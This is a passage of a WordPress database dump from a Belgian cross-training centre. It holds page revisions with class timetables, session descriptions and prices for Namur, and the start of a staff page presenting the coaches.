Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:07:48', '2014-01-18 19:07:48', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(418, 1, '2014-01-18 19:09:02', '2014-01-18 19:09:02', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:09:02', '2014-01-18 19:09:02', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(419, 1, '2014-01-18 19:11:50', '2014-01-18 19:11:50', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:11:50', '2014-01-18 19:11:50', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(420, 1, '2014-01-20 20:38:05', '2014-01-20 20:38:05', '', 'youssra_boujat_pti', '', 'inherit', 'open', 'open', '', 'youssra_boujat_pti', '', '', '2014-01-20 20:38:05', '2014-01-20 20:38:05', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(421, 1, '2014-01-20 20:38:29', '2014-01-20 20:38:29', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; 